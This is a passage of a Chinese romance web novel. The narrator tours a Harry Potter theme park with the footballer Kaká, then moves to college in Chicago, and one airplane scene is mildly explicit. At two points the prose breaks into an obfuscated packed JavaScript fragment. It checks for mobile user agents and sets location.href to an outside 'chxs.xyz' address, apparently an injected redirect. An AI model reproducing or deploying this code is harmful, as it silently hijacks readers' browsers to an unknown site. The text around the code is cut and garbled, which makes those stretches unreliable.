今天,他将额前的发丝全部用透明发胶向后梳理,那流畅而优越的骨相毫无遮掩地展露出来,深褐色的眼眸魅力四射。 他的呼吸瞬间一滞,随即身体前倾,双唇更深地贴上了我的唇瓣,仿佛要将我的气息吮吸殆尽。 “塞德里克?”他终于尝够了我的味道,心满意足地松开,声音带着一丝喑哑,“那个赫奇帕奇的学长?” 我微微喘着气,点了点头。这算不算是让里卡多cos了一把塞德里克·迪戈里? “我觉得红配黄还不错。”我转向全身镜,镜中映出我们二人的身影,都穿着剪裁合身的霍格沃茨制服——洁白无瑕的衬衫上系着各自学院的领带,外搭庄重的黑色巫师袍。不同的是,我的领带与巫师袍内衬是热情奔放的红色调,里卡多则是温暖的黄色系;另外,我们的巫师袍胸口处,学院标志下方,都以金线绣着各自的名字。 “狮子和獾。”我补充道。 “你很适合格兰芬多。” “我以为你会觉得我适合拉文克劳。” “甜心,你确实聪明且狡黠,可比起成为满腹灵性与哲思的智者,你骨子里的理想主义和英雄色彩更为耀眼。” 我轻轻一笑,挽起他的胳膊,打量着镜中依偎在一起的男人和少女,若有所思道:“而你呢,你本有许多选择。要知道多少人盛名之下,其实难副。我相信即使你变成一个混蛋,也会有人追随你,但你选择成为一个好人。对旁人而言,尖牙和利爪或许是凶狠武器,可对你来说,热忱与爱才是你最强大的力量。孤峰高峙虽引人瞩目,却咄咄逼人,不如春峦默默滋养,生长万物。” - 我们在哈利·波特主题园区畅快地玩了一整天。 最先路过的是格里莫广场12号。“我小时候超爱小天狼星。想想看,你有这样一位教父:他英俊优雅却放纵不羁,带着你冒险闯祸,不仅是你最好的朋友,也是最理解你的人。”说着,我抬手敲了敲门。楼上厚厚的窗帘缓缓拉开,露出了一张苍白的尖鼻子脸,“我小学的时候,班里有一半的女孩都把他看作是梦中情人。” “哦。”里卡多点了点头,抬头望去,表情凝重,“楼上的那位就是你的梦中情人吗?” “呃,”我顺着他的视线看去,被狠狠噎了一下,“他是家养小精灵克利切。”我咬牙切齿道,接着无比真诚地转向他,“其实,当时我的梦中情人是马人。不是禁林里的那类马人,而是一种美德和理性的化身。鬼知道我小时候为什么那么痴迷马。” 公寓对面,那辆茄紫色的三层骑士巴士格外显眼,挂在驾驶座上晃悠的人头正对着来来往往的游客喋喋不休。列车员友好地微笑着,与我们合影留念,甚至还掏出手机,询问里卡多是否可以再来一张私人合照。 我们轻松地寻找到了对角巷的入口。穿过几面看似普通的墙壁,如同穿越了一道无形的帷幕,我们彻底告别了麻瓜世界,踏入这条魔法小巷。 巷子两旁,歪歪扭扭、奇形怪状的建筑们拼命挤在一起,就像一群顽皮的巫师在进行一场建筑版的变形大赛。而各色散发着奇幻气息的店铺招牌,在熙攘的人群上方摇摇欲坠,实在叫人担心下一秒就会掉落砸中脑袋。 当盘踞在古灵阁屋顶的那条巨大火龙再次喷吐出熊熊烈焰时,我们都忍不住惊叹起来。路过韦斯莱魔法把戏坊,标志性的亮橙色窗户犹如从童话中跃出的糖果盒,滑稽搞怪的装饰恰似顽童们的恶作剧杰作。 在奥利凡德魔杖店,我和里卡多分别体验了“魔杖选择巫师”的神奇过程。 “和电影中一模一样。”他评价道。在一阵电闪雷鸣之后,我们都获得了属于自己的那根魔杖。 手持新魔杖,我展开魔法地图,仔细研究了一番施法地点。随后,在地面上每一个闪耀着金色标志的地方,我们都能挥舞着魔杖演绎奇迹。其中一些地点甚至隐藏在翻倒巷的神秘黑魔法商店里。 我们于此消磨了半日时光,里卡多为我拍摄了许多照片。不过,很多时候我才是捧着黄油啤酒,在一旁耐心等待的那个人——看着围上来的球迷们与他合影留念。只是这次的情形略有不同,有一些人似乎也想把我加进合照中。 “请好好对卡卡。”球迷们这样叮嘱我。 “你们看起来很幸福。”另一些人则如是说。 还有人路过我们时大喊:“格兰芬多万岁!赫奇帕奇永远忠诚!” “你真的太幸运了,卡卡是这个世界上最出色的男人之一。你绝对找不到比他更好的人了!请务必好好珍惜他,他会对你忠心耿耿的。”一个女孩跑过来语气坚定地对我说。 “我们对彼此都忠诚无比。”我微笑着回应她。 - “在电影或是书里,你最喜欢哪种魔法?”我们撩起袍子席地而坐,观看木偶表演的时候,我向他抛出了这个问题。 他思索了一会儿:“守护神咒。” 我点了点头,目光投向台上正上演的《三兄弟的故事》,“我最喜欢的是阿尼马格斯。我很好奇,如果我拥有变身能力,会变成什么样的动物。我希望是一只小鸟,那样我就能像风一样自由,飞往心之所向之地;或者任何一只矫健灵巧的小型动物,方便我飞檐走壁。” “你还是对爬屋顶情有独钟。”他带着一丝戏谑说,随即腰间被我轻轻掐了一下。 “如果我拥有了复活石,”他忽然说,“我恐怕也会忍不住用它来复活我心爱的人。至于老魔杖和隐形衣,它们对我没有意义。我无意去追逐成为世界第一,也不想刻意躲避死神。” “我会和你一样。”我沉思了片刻,赞同道。台上的演员操纵着木偶,念出了那句台词:“然后我像老朋友一样迎接死神,并以平等的身份,欣然与他一同离开人间。” “我不能想象你离我而去的那一天。”我轻声说。 直到我们随着人流参观妖精们忙碌工作的古灵阁大厅时,我还在想刚才那个问题。 “如果我死后去了上帝那里呢?”我问他,“如果上帝要我上天堂怎么办?” 他惊讶地看着我。 “不过这问题倒也不难回答。你很快也会回到天堂,毕竟你本就是坠落人间的天使呀。”我调侃道。 他略带责备地瞥了我一眼,说道:“死亡离我们还很遥远。而且,我只想一直陪伴在你身旁。即使是上帝,也不能将我们分开。” - 推开吱呀作响的木门,潮湿木头与南瓜汁的气息扑面而来。在挂满魔法装饰画,架着木头横梁与铁制吊灯的破斧酒吧里,我们享用了一顿丰盛的午餐。一对来自中国的留学生情侣主动上前与我们打招呼。 我们邀请他们一起拼桌。当我用普通话与他们交谈时,他们简直大吃一惊。 “虽然早听说你有中国血统,但我们真没想到你中文说得这么好。”那个女孩解释道,“我们都以为你是在西班牙长大的。” “事实上,我在国内一直读到高中。”我摊开双手说,“在国际学校。” “刚才我们在YouTube上还刷到了你们,有人上传了偶遇你们的视频,就在韦斯莱笑话商店那儿。”那个男生说,“你现在在国内也很出名。国内好多人喜欢卡卡,他之前离婚就引发了一阵热度,现在谈恋爱又掀起一波,不过大家最希望的还是卡卡以后能加盟中超。” 我们用普通话交谈时,里卡多一脸茫然地看着我们。 我忍住笑意,为他简要翻译了我们刚才的对话内容。之后,我们的交流又回到了英语。 “我也很喜欢中国,如果有合适的机会,我非常愿意去中国踢几场友谊赛。至于未来是否会加入中超联赛——”他看了我一眼,眼角笑意浮现,“这需要和我的家人再商量。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956421|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >- 下午,我们来到国王十字车站,穿过九又四分之三站台,登上了那列通往霍格沃茨的特快列车。列车的每一节车厢都宽敞舒适,足以容纳八人。与我们同车厢的游客们在认出里卡多时都发出了惊呼。 在这些人中,有一个穿着巫师袍的黑发小女孩,她安静地坐在那里,却不时地偷偷转过头,用好奇的目光打量着我。 我忍不住想要逗逗她,便故意用一种神秘的口吻问道:“小巫师,你为什么一直看着我呢?”她一听这话,立刻像只胆小的兔子似的垂下了头。 “这个大姐姐好像赫敏呀。”小女孩趴在她妈妈耳边悄悄说。 她妈妈不好意思地对我笑了笑,低头问她:“是呀,大姐姐有一头板栗颜色的长发对不对?” 小女孩又偷偷瞅了我一眼,接着仿佛是鼓足了勇气,再次小声补充道:“她长得好漂亮。赫敏就是这么漂亮。” “美丽的女巫小姐,看来这里每个人都很喜欢你。”里卡多瞧见这一幕,在我耳畔打趣低语,“女巫小姐与麻瓜球星的秘密约会,你猜会不会登上明天的《预言家日报》?” 我扬了扬眉梢,陡然扭过头,他躲避不及,于是我的唇重重擦过他的唇角,像是一颗熟过头的樱桃从枝头坠落,娇艳欲滴地贴上他的唇畔,香甜的气息随之扑洒在脸颊上。 “球星先生,我只在意他们有没有抓拍到我们此刻的最佳照片。”我的眼眸弯成了月牙,“我猜丽塔·斯基特正变成一只甲虫,趴在车窗玻璃上,鬼鬼祟祟地偷窥我们呢。” 他脸上迅速泛起一抹红晕。那抹霞色还未完全褪去,这男人便佯装镇定,眼疾手快地抓住了我的手,“那孩子还在看我们呢。”他小声说。 我转了转目光,发现对面的小女孩脸蛋红彤彤的,正偷偷觑着我们,便轻轻一笑,捏了捏他的手,不再继续逗弄。 毕竟,在外面还是要给我们家小棕熊留点面子,要是把他惹急了,回家还得自己哄。 列车缓缓启动,窗外景致如同一轴徐徐展开的流动画卷。车门后方,隐隐传来哈利与他挚友们的喁喁私语。我们仿佛置身于一个真实的魔法世界,那些熟悉的场景和人物近在咫尺。 当我们步下列车,闯入视野的是一座被皑皑白雪覆盖的巫师村庄——霍格莫德村。 我们悠然漫步于村中,路过那些装点着魔法元素、满是奇思妙想的店铺橱窗,巍峨壮丽的霍格沃茨城堡便赫然出现在眼前。 “如果猫头鹰可以驯养,我们家恐怕早就被老鼠和昆虫的尸体堆满了。”人声鼎沸的猫头鹰邮局里,我一边为精心挑选的明信片加盖猫头鹰邮戳,一边对身边的男人大声说道。 “管家和保姆肯定会为此大伤脑筋。”他笑容灿烂,手中提着满满一袋我在各家店铺搜罗来的纪念品和形形色色稀奇古怪的小玩意儿。 - “我太爱‘禁忌之旅’了,无论玩过多少次都玩不腻!” 我们刚刚完成了一场惊心动魄的冒险:在城堡的外围和内部穿梭飞翔,与喷火的火龙擦肩而过,深入打人柳的神秘核心,从幽暗的山洞冲向热闹非凡的魁地奇球场,紧随骑着飞天扫帚的哈利,被一大群摄魂怪紧追不舍,最终安全返回到灯火通明的大礼堂。 当这一切结束时,魔法世界里的每个角色都向我挥手告别,那一刻,我仿佛真的成为了他们中的一员。我原本以为自己不会感动到流泪,但最终还是模糊了双眼。 “这是我小时候的一场梦。”我轻声说,“那些关于魔法与龙的冒险。我一直在等着那张霍格沃茨的入学通知书,我以为永远也等不到它了,或许猫头鹰送错了地方,或许我真的只是个毫无魔力的麻瓜。但其实,我早就收到了。”我轻轻拍了拍胸口,“它一直都在这里。” “走吧,女巫小姐,海格还在等着我们呢。”里卡多牵起我的手。 在完成了最后一个项目——搭乘海格的摩托车,来一场惊心动魄的穿越禁林之旅后,我们前往三把扫帚酒吧享用晚餐。这里的装饰和供应的食物与破斧酒吧相差无几。我点了一大盆沙拉,并坚持让里卡多也吃下去。 “我答应了你的营养师,要监督你摄入足够的蔬菜。”我惬意地吸溜着结出奶油霜花的黄油啤酒,无视他愁眉苦脸的表情。 - 在离开之前,我们驻足于城堡之下,在人群中观赏了一场魔法灯光秀。 分院帽沙哑的嗓音划破夜空时,城堡石墙骤然褪去沧桑,化作流淌着魔法的巨幅画布。 鹰隼沿着塔尖振翅翱翔,岩石下的獾昂首凝望,翠绿的蛇蜿蜒穿行,雄狮自烈焰中腾跃而起,四大学院的徽章在光影中依次显现。旋即,四道光束绚丽交织,幻化成霍格沃茨“眠龙勿扰”的校徽。而观众爆发的惊呼声还未平息,刹那间光影交错,层层阶梯拔地而起,鸟群纷飞遮天蔽日,所有色彩渐渐汇聚,化作了一场抛洒向所有人的光雨。 “麻瓜的魔法世界之旅,就此落幕了。”我无限感慨地望着掌心最后一点飘落的光点。 “但你的守护神咒已经开始生效了。”他揽住我的腰,微笑道。 我仰起头,看到我的倒影深陷在这个男人的虹膜里,正充满柔情地低头俯视我自己。 36. 开学 里卡多向球队打过招呼之后,前往芝加哥的队伍里就顺便塞下了一个我。 里瓦斯与我年龄相仿,很快就成为了我的游戏搭子。在飞往芝加哥的航班上,我们一同用游戏机玩起了双人游戏,这让里卡多屡屡投来幽怨的目光。 “卡卡的眼神好像有点吓人。”里瓦斯悄悄对我说。 “那要不我们不玩了?”我故意绷着脸,一本正经地说道。 他立刻甩过来一个恨铁不成钢的眼神,那模样实在滑稽,逗得我差点笑出了声。 当我因突发状况在飞机洗手间里逗留得久了一些的时候,我听到里卡多在门外的敲门声。 “佐伊,你还好吗?”他的语气听上去很担心。 “我没事。”我嘟囔着回应,伸手为他打开了门,顺势把他拉进洗手间,紧接着关上了门,“我只是来了月经。” “哦。”他肉眼可见地紧张了起来,“你需要什么吗?老天,我怎么没想到——等等,我得去找机组人员帮忙。” “不需要。”我急忙阻止他,“我有准备。我带了卫生棉条和止疼药。现在还不觉得疼,如果待会儿感到不舒服,我会吃药的。” “那好吧。”他仔细打量着我,勉强同意,“如果你觉得哪里不适,一定要第一时间告诉我。” “我们不妨在这里稍微活动一下。”我转而提议道。在座位上躺了一个多小时,身体也渐渐变得僵硬起来。 “长时间保持一个姿势对身体不好,做一些简单的伸展运动吧。” “在这里活动?”他表情变得有些古怪。 “好歹这里有空间能站着。”我把手臂高高举过头顶,踮了踮脚,“像这样伸伸胳膊,踢踢腿。” 他若有所思地注视着我,说道:“如果真要活动活动,那不如——”话未说完,我踮起的脚尖突然被他的牛津鞋尖勾住,那只温热的手掌毫无预警地贴上我的后腰。在我的惊呼声里,他把我抱近了一点。 “今天我们还没好好亲近过呢。”他微微低下头,鼻尖蹭过我耳后敏感处,那儿还残留着晨间他留下的佛手柑古龙水的淡淡香气,“听说在四万英尺的高空,人身体里的多巴胺分泌会加快,想不想验证一下这个说法?” “你忘了出发前的亲吻吗?”我羞恼道,伸手掐了一下他小臂紧实的肌肉。 “你今天的心思,似乎都放在别人身上了。” “你吃醋了?” “有那么一点儿。”他倒是坦率地承认了,又忽然孩子气地补了句,“我也能陪你一起打游戏的。” “我想让你在路上休息一会儿。我担心你最近晚上休息得不够。而里瓦斯那家伙,总是活力满满。” 他收紧环在我腰间的力道:“甜心,我的精力也相当充沛。” “这一点我从未怀疑过。”我嘟着嘴说,“只是最近几个晚上,我们都有些放纵。如果你明天在球场上显得无精打采,你猜那些小报记者会怎么添油加醋地编排你?” 他的轻笑声在我们紧贴的胸腔间震颤,“这段时间我的精力好得超乎寻常,要是我显得没精神,那只会有一个原因——”他用虎口轻轻卡住我的下巴,拇指抹过我下唇的玫瑰膏色,“不是现在,而是之后——我们不得不短暂分离的那一天。” 我凝视着他,忽而偏头叼住他作乱的手指。 牙齿轻轻碾过指节,舌尖翻卷着,将濡湿的手指一寸寸推离唇畔,我看到银白灯光在他滚动的喉结上淌成一道欲望的河。 “比葡萄还要甜美。” 话还没落音,机舱陡然剧烈颠簸起来,如此恰合时宜,我彻底跌进了他的气息里。 “别这么心急,宝贝。”他低哑的嗓音扑上我的颈侧。 借着飞机颠簸的惯性,这个男人将我彻底压进方寸之间。那根被我咬过的手指,此刻正慢条斯理地解开他自己领口的纽扣。墙面渗出的丝丝凉意爬上我的脊背,他抵住我膝盖的体温却透过衣料灼烧着。 松垮的领口微敞,数日前我在那儿留下的淤青正渐渐褪去,化为一抹淡蓝浅紫。而昨夜新添的齿痕,在锁骨凹陷处积着暗红的水洼,宛如覆盆子被碾碎后渗出的汁液,沿着肌肤,蜿蜒着爬向心口。 - 当我们一行人抵达芝加哥机场之时,竟迎面遇上了一大群热情高涨的球迷和记者。眼看乌泱泱的人群涌来,机场的保安艰难阻挡,而我们就要被人潮彻底淹没。里卡多眼疾手快,一把将尼克提溜到了我的身旁。 “甜心,让尼克先陪你回学校。等到晚上我再去找你。” 一些敏锐的记者已经注意到了我们的小动作,正准备举起相机对准我。见此情形,我飞快地给了里卡多一个吻,然后一手拖起行李,一手捞起尼克,绕过人群快步离去。 记者们顿时面面相觑,是去追“卡卡的女孩儿”呢,还是留下来守着正主? 聪明人略作权衡便把镜头重新对准了里卡多,还在骚动之中奋力往前挤了挤,趁机占据一个好位置,而想都没想跟着我一起跑的—— ”劳驾,能不能别追着我跑了?”我哭笑不得地转过身,看向这个一路跟着我跑到停车场的傻姑娘。 “这位记者小姐,我们不接受采访!”尼克满头大汗地跳出来,挡在我面前嚷道。 “我保证,绝对不会耽误您太多时间。我只是想和您聊上几句,之后您就能继续行程,我绝对不会再打扰您了。”这位有着一头浓密红棕发、脸上还点缀着几粒俏皮雀斑的女记者,气喘吁吁地说道。她的面庞因为一路小跑而显得格外红润。“拜托您了,我是《芝加哥论坛报》的记者,只需要您回答几个小小的问题就好。” 她这副可爱的模样,着实让我感到意外。我本能地想要拒绝,但看到她眼中那股迫切的恳求,不禁犹豫了几秒钟,最终改变了主意。 “我们总不能站在这儿说吧?上车再谈吧。尼克,租车公司的人把车停在哪了?” “啊?哦,请您跟我来。”尼克先是一愣,但很快回过神来,领着我们朝着停车的地点走去。 - “‘我们都知道,你们是一对拥有多国血统的情侣,你们平时用什么语言交流呢?’‘一般是葡语和西语混杂着说,我以前学过葡语,卡卡的西语很流利,我们认为相互练习对方的语言是一种很好的互动方式。当然,现在我们在美国,在外面时还是会使用英语交流。’ ‘作为卡卡的女友,你如何看待他的足球生涯呢?’‘卡卡对足球的热爱和投入是显而易见的,他在比赛中的激情总是让我着迷。我完全理解足球对他意味着什么,并且尊重他的选择。’” 露娜挥舞着手臂,高声朗读着手机上的最新报道。 “‘在公众眼中,卡卡是一个完美的球星,但在私下里,他有哪些不为人知的一面?’佐伊,这个明媚的混血姑娘露齿一笑,那真是一个非常自然、甜蜜,因而极其打动人心的笑容——” 露娜读着读着便和斯嘉丽闹成了一团,斯嘉丽笑得前仰后合,大声说道:“佐伊!你多么甜蜜!多么动人啊!要不是你说这个记者是位女士,我都要以为她迷上你了!” 我无奈地摇摇头,俯身拾起被她们胡乱踢到地毯上的软垫,随意坐在地上。 “‘她说道:‘他是我见过最真诚温柔的人。他的纯粹,让球迷们看到的他和我看到的他别无二致。只是,无论何时,他都愿意把开朗乐观的一面展现给大家看,即使是在他最艰难的时刻,他的低谷时期——这并非为了逞强,而是因为他是如此愿意以积极和感恩的方式对待世界,以至于对自己收获的每一份关爱和欣赏都会回报以慷慨赤诚。” “老天,你的描述简直——”露娜和斯嘉丽交换了一个眼神,“简直把你的男朋友形容得太,太——” “太美好了!”斯嘉丽抢着说,她紧紧地抱住露娜露出来的那截雪白胳膊,露娜则用力地点了点头表示赞同。 这两个女孩子从沙发上轻盈地滑了下来,盘腿坐在我的身边,就像是两只漂浮在空中的气球,在经历了一阵欢快的摇晃之后,终于稳稳地落定在了合适的位置。 “‘我听说你和卡卡是在佛罗里达州的沙滩上认识的?’”这次轮到斯嘉丽兴致勃勃地接着往下读,“‘没错。事实上,与卡卡的邂逅纯粹是一场意外。我原本只当那是一次再平常不过的暑假旅行,没想到竟成了我人生中最不寻常的篇章。’” 说到这儿,她眼睛一亮,脑袋微微一歪,朝我这边靠了过来,随后兴奋地用手肘推了推我,“哦,亲爱的!快跟我们说说,你当时是不是穿着那件惹眼的比基尼?他是不是一瞧见你,目光就再也挪不开了?是不是彻底被你迷得神魂颠倒的?” “别瞎想啦!”我说,“大半个巴西和小半个欧洲的女孩儿都喜欢他呢。每次他比赛,看台上总有举着横幅的美女球迷团。他收到过那么多漂亮女孩的告白,没理由只是因为我漂亮就爱上我。” “‘你们是一见钟情吗?’”露娜瞅准时机,迫不及待地把脸凑近手机屏幕,大声念了起来,“‘一见钟情只是我们感情的开场序曲。’她在回答的时候又笑了起来,眼睛就像翡翠一样闪闪发亮,现在这个时代,很少有哪个姑娘的脸上有她这样的纯真、振奋和激情。——我得说,佐伊,” 露娜坏笑着把脸转过来,“我真要怀疑这个女记者是不是爱上你了,她把你写得那样动人,你简直就像一个……一个莎美乐!” “那个因为爱而不得,把施洗约翰的头颅砍下来放在盘子里亲吻的莎美乐?”斯嘉丽扬了扬眉毛,“露娜,你这个比喻真大胆。” 露娜耸了耸肩膀,继续念下去:“‘一见钟情只是我们感情的序曲,在之后的相处中,我们逐渐了解彼此,我们身上都有着对方所珍视的闪光点,心灵的共鸣使我们的爱意越发炽烈。’” “这分明是初恋的人才会讲出的傻话。”斯嘉丽毫不客气地评论道,“要我说,男人没有一个不喜欢漂亮的小妞,他要是声称自己不喜欢,不是在装模作样,就是个超凡脱俗的圣人。” “不对不对!”露娜立刻反唇相讥,“男人难道就非得喜欢漂亮姑娘吗?他怎么就不能喜欢漂亮的小伙子呢?” 斯嘉丽白了露娜一眼,把头扭到我这一边:“他有没有送过你什么礼物?他可是世界级的球星,一定非常、非常有钱吧!当然,我们几个的家境也算不错,但即便如此,和那些顶级富豪的差距比密西西比河还要宽!你在奥兰多的时候,是住在他的豪宅里吗?你们每次约会都是他买单吗?” 我扶了扶额头,眼见着斯嘉丽那副摩拳擦掌、已然准备强逼我回答的架势,只好一一回应。 “他确实给我买了不少东西,从衣服、箱包到护肤品、香水,基本上女生日常会用到的东西,他都让人准备妥当了。他真的很贴心。我在奥兰多的时候是和他一起住的,这也是他需要为我准备这么多日用品的原因。他确实很富有,虽然我不清楚他具体的资产数额,但他投资了许多产业,偶尔听他提起收益似乎还不错。不过说实话,他依然保持着中产阶级的生活方式,非常自律和简单,完全没有奢侈的迹象。至于约会,大部分时候确实是他来结账。当然,他不方便的时候我也会付钱。他给了我一张额度惊人的信用卡,但我还没刷过。” “你这是提前过上了富婆的生活了呀,宝贝!”斯嘉丽眼睛亮闪闪地盯着我,“有些富婆是花着老男人的钱,养着小白脸。你就不一样了,你不仅睡着大帅哥,还花着大帅哥的钱,这可不让人嫉妒死了!” 我轻咳一声,纠正道:“还没睡。” “啊?”斯嘉丽的嘴巴瞬间张得老大,形成了一个夸张的O形。 “你们还没上过床?”露娜几乎是扯着嗓子尖叫着问道。 “嘘,小声点!”我微微羞恼道,“唔,反正呢,确实,我们还没发展到最后一步。” “这怎么可能?难道他不行?”斯嘉丽用手轻轻掩着嘴,脸上满是掩饰不住的惊讶。 “当然不是。”我没好气地瞪了她一眼,“虽然我们还没真正做到最后一步,但他,嗯,应该是很行的。” “那究竟是为什么?” “不会是因为他是基督徒吧?”露娜小声嘀咕道。 我和斯嘉丽的目光齐刷刷地转向她,她吐了吐舌头:“我之前在网上看到卡卡的资料,上面说他当初和前妻谈恋爱谈了三年,一直都守身如玉,直到新婚之夜才……不过,他现在都已经结过婚了呀,怎么还这么守规矩?” “的确是信仰的缘故,我们不能在婚前同房。”我解释道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956422|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 斯嘉丽摸着下巴,嘴里啧啧了两声:“放这么个大帅哥在身边,却给看不给吃。” “莫名有一种禁欲的味道。”露娜喃喃道。 “我还是无法想象,他竟然能忍得住。”斯嘉丽纳闷道,“我对足球界不太了解,但就拿橄榄球来说吧,那些球星的私生活都很开放,酒精和美女是必需品,不抽叶子就算是不错的了。” “因为他是卡卡。他是那种,嗯,对自身道德标准要求很高的人。” “不愧有‘上帝之子’这个外号。”露娜笑嘻嘻地说。 “那你们是真的打算要结婚喽?”斯嘉丽问,“毕竟只有结婚了才能——”她做了个意味深长的手势,那表情仿佛在说 “你们懂的”。 “我们又不是为了睡才要结婚。”我没好气地拍掉她的手。 “哎呀,我明白,你们是为了和心爱的人一起名正言顺地睡!”斯嘉丽把手捧到胸前,夸张地揉了又柔。 - 开学前的这段日子,里卡多的出现还是在校园里引起了一番小小的轰动。那天,他先是盛情邀请露娜和斯嘉丽与我们共进晚餐,还给她们各自准备了一份精美且价值不菲的礼物。 当他来接我们的时候,驾驶着一辆蒂芙尼蓝与纯白双拼色的劳斯莱斯魅影。从开进校门起,这辆风格典雅的豪华轿跑就不断受到人们的瞩目;而从驾驶座上潇洒跨步而下的卡卡,也引来了一大堆叽叽呱呱的年轻人。 “我想我会爱他的。”晚上回到公寓后,露娜紧紧抱着我说,“每个人都会爱上他的。当然,斯嘉丽肯定会说她爱全世界的帅哥——”我们不约而同地看向了正趴在我床上、醉得糊里糊涂的金发小妞,然后相视一笑。 “但要我说,”露娜脸上露出了陶醉的表情,“他那张俊朗的脸庞固然惹人喜爱,但他谦逊可亲、从容不迫的气质才真的让人久久难忘。哦,我太爱你们俩了,甜心。” 第二天,我们又结伴前往球场,观看奥兰多城客场对战芝加哥火焰的比赛。 球场内气氛热烈,我们坐在奥兰多城死忠球迷们的中间,每个人都在座位上奋力挥舞着紫色旗帜,将我们卷入了这场歇斯底里的呐喊盛宴。 “他们全都在喊你男朋友的名字!”斯嘉丽瞠目结舌地对我说。 “这不过是客场作战。”我轻松道,“在奥兰多的主场,数万人齐声高呼‘卡卡’,那才是真正的声势浩大。” 当镜头扫向我们时,斯嘉丽的兴奋之情更加溢于言表,对着镜头一连串地抛出飞吻。 “行了,行了,亲爱的,你现在就像一只活蹦乱跳的箭毒蛙。”露娜在一旁不耐烦地说,收获了斯嘉丽的一记白眼。 待到里卡多大力抽射,足球破门而入之际,胜利的火焰遽然点燃全场,看台上的紫色人浪随之欢呼腾起。 球入网的瞬间,这个男人朝我们所在的看台大步跑来,再次做出那个曾连续数日霸榜热搜,引发无数球迷热议的庆祝动作—— 圣子张开的双臂,不再遥指那渺远不可及的天父,而是笃定无比地,指向他的小姑娘。 他满心欢喜,将周身的荣耀与光芒悉数聚拢,赤诚捧至他的爱人跟前,毫无保留。 我身旁的这两个小妞又同时惊叫起来。 “我的天呐,”露娜紧紧攥住我的胳膊,声音发颤,“卡卡正指着你呢!所有人都在扭头看你,亲爱的,这也太……太瞩目了!” “简直浪漫到爆!”斯嘉丽眼眶泛红,“我都快感动哭了。要是有哪个帅哥肯在球场上为我这么做,哪怕他下一秒就跪地向我求婚,我也肯定立马答应!” - “有几个小伙子过来问我要联系方式。”等到斯嘉丽和露娜从洗手间回来后,她立刻对我说,“他们认出了我,对我打招呼:‘嘿!你是那个刚才在屏幕上的金发女孩儿。’” “然后你就对他们调情。”露娜不慌不忙地补充道,“她轻轻拨弄着她的金发,向他们抛了几个媚眼,还用那种甜得让人起鸡皮疙瘩的语气说:‘哦,你们认识我吗,小麻雀们?’” “我才没有你说的这么恶心!”斯嘉丽立刻反驳道,转而对我说,“他们派了那个最高的来要我的联系方式。而且,他们还想要你的。” “我的?”我惊讶道。 露娜点点头:“他们还想要我们转告你,如果你想要换换口味,他们中的任何一个都很乐意和你约会。”她脸上浮出了一种吃了苍蝇般的嫌恶表情。 “然后我才意识到,嘿,他们穿着芝加哥火焰的球衣!真是一群可恶的臭小子。”斯嘉丽气愤地嚷道,“我立刻就想把包扔到他们头上。不过还没等我动手,露娜就大声呵斥他们:‘佐伊可没兴趣认识一群胆小鬼,连当面和她说话都不敢!还是你们生怕被她的男友踢爆球门?’哈哈哈,你没看到他们恼羞成怒的样子,脸都涨成了猪肝色!” 我忍不住噗嗤一笑,随即无奈地摇了摇头,叹道:“这世上无聊的人可真不少。如今我的社交账号,每天都被海量陌生人的消息狂轰滥炸。其中仅有一小部分是正常的交流,其余的,要么是来骂我是‘抢走她们卡卡的bitch’,要么就是形形色色的男士,发来展示他们所谓‘男子雄风’的滑稽照片和荒诞言论。这些信息多到我甚至都在考虑是不是得雇个助理,专门帮我筛选过滤这些无用内容了。” “这就是成名要付出的代价。”露娜感慨道,“自从你和卡卡的恋情曝光后,学校里总有人向我们打听你的情况。前几天你还没回学校时,甚至有人在公寓楼下鬼鬼祟祟,悄悄往信箱里塞骚扰信件。还有人跟踪我和斯嘉丽,幸亏舍监查尔斯大叔及时出现,把那些人赶走了。” “居然发生了这种事。”我眉头紧皱,“我确实想过,我的事或许会给你们带来麻烦,只是没想到事态如此严重。” “哎呀,你跟她说这些干嘛。“斯嘉丽嘟囔道,满不在乎地搂上我的脖子,“学校里到处挤满了荷尔蒙过剩的傻大学生,他们也就只敢做些偷偷摸摸的小动作。查尔斯大叔已经警告过他们了,要是再被他撞见,就直接把他们送到教务处去,到那时他们就知道事情的严重性了。” 我对她们露出了微笑,但内心的担忧并未因此减轻。看来,得赶紧把在校外租房的事提上日程了。 37. “哥谭市” 比赛结束后,因下一场需要里卡多上场的比赛在十月份,他便没有随队返回奥兰多,而是留在了芝加哥。 我们的首要任务是寻找一处合适的住所,芝加哥南部和西部的治安状况实在令人忧心,而治安优良、景色宜人的社区大多集中在北部和湖区。 在房产经纪人的引导下,我们率先走访了芝加哥大学所在的海德公园社区内的豪宅区,接着又前往芝加哥北郊,参观了两个历史悠久、声名远扬的老钱社区。 其中“森林湖(LakeForest)”社区始建于19世纪晚期,因其毗邻风景如画的密歇根湖和拥有丰富的森林资源而得名。 我们驱车缓行,穿梭于森林湖的小径,远处的桉树林和枞树林跃入眼帘,原野与林木柔和相融,画眉、杜鹃、红雀和蓝知更鸟在各处婉啭啼鸣;近处冷幽幽的青草迎着微风形成波浪的起伏,灌木丛中的浆果像萤火虫一样闪烁。澄澈的密歇根湖宛如大地的眼眸,倒映在湖泊中的青绿色的金光仿若丛林的色彩向下流淌。 还有点缀在林间的那些旧派建筑,从哥特式的尖塔高耸,到都铎式的木梁交错,再到殖民复兴式的庄严典雅,这些风格并未因时光已逝而黯然无光,反而变得更加厚重和美丽。 